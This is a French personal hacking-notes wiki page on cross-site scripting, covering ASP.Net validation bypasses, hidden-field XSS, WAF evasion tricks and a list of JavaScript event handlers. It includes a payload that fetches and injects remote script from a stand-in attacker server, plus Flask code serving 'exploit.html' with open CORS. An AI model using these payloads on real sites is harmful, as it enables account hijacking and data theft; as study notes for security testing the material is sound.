Hacking Wiki

Notes persos. Il y a probablement beaucoup d'erreurs donc privilégiez des sources plus fiables.

View on GitHub

Cross-Site Scripting

Payloads

Voir PayloadAllTheThings

ASP.Net

ASP.Net a le mécanisme de “Request Validation” qui bloque de nombreuses tentatives XSS. Globalement tout payload de la forme “<a” (où a est une lettre ou le caractère ! sera bloqué).

Quelques bypass sont possibles:

D’autres bypass Bypassing .Net ValidateRequest

Champs hidden

Il est possbible d’exploiter une XSS dans un champ hidden. Voir XSS in Hidden Input Fields

Charger un script distant

Basé sur Calling remote script with event handlers.

// Avec la méthode fetch
fetch('http://127.0.0.1:5000/').then(function(r){return r.text();}).then(function(w){document.write(w)});
// Avec appendChild et createElement
document.body.appendChild(document.createElement('script')).text = 'alert(123)';

Côté serveur (avec flask):

from flask import Flask, Response
app = Flask(__name__)

@app.route('/')
def root():
    f = open('exploit.html','r')
    response = Response(f.read())
    response.headers['Access-Control-Allow-Origin'] = '*'
    f.close()
    return response

Contournement de WAF

Quelques astuces pour contourner des WAF:

a = document; a.write('Test'); // Contourne des restrictions sur document.write*
(a = document); a.write('Test') // Contourne des restrictions sur le ";"

Events JS

Liste d’events JS:

onAbort
onActivate
onAfterPrint
onAfterUpdate
onBeforeActivate
onBeforeCopy
onBeforeCut
onBeforeDeactivate
onBeforeEditFocus
onBeforePaste
onBeforePrint
onBeforeUnload
onBeforeUpdate
onBegin
onBlur
onBounce
onCellChange
onChange
onClick
onContextMenu
onControlSelect
onCopy
onCut
onDataAvailable
onDataSetChanged
onDataSetComplete
onDblClick
onDeactivate
onDrag
onDragEnd
onDragLeave
onDragEnter
onDragOver
onDragDrop
onDragStart
onDrop
onEnd
onError
onErrorUpdate
onFilterChange
onFinish
onFocus
onFocusIn
onFocusOut
onHashChange
onHelp
onInput
onKeyDown
onKeyPress
onKeyUp
onLayoutComplete
onLoad
onLoseCapture
onMediaComplete
onMediaError
onMessage
onMouseDown
onMouseEnter
onMouseLeave
onMouseMove
onMouseOut
onMouseOver
onMouseUp
onMouseWheel
onMove
onMoveEnd
onMoveStart
onOffline
onOnline
onOutOfSync
onPaste
onPause
onPopState
onProgress
onPropertyChange
onReadyStateChange
onRedo
onRepeat
onReset
onResize
onResizeEnd
onResizeStart
onResume
onReverse
onRowsEnter
onRowExit
onRowDelete
onRowInserted
onScroll
onSeek
onSelect
onSelectionChange
onSelectStart
onStart
onStop
onStorage
onSyncRestored
onSubmit
onTimeError
onTrackChange
onUndo
onUnload
onURLFlip
seekSegmentTime

Références

Challenges